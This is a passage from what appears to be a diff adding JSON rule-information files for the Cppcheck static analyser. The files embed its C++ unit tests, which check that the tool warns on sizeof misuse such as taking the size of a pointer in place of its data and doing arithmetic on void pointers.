check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofsizeof.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofsizeof.json new file mode 100644 index 0000000..7e162f5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofsizeof.json @@ -0,0 +1,22 @@ +{ + "name": "sizeofsizeof", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 11, + "branches": 3, + "apis": 11, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 73 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char 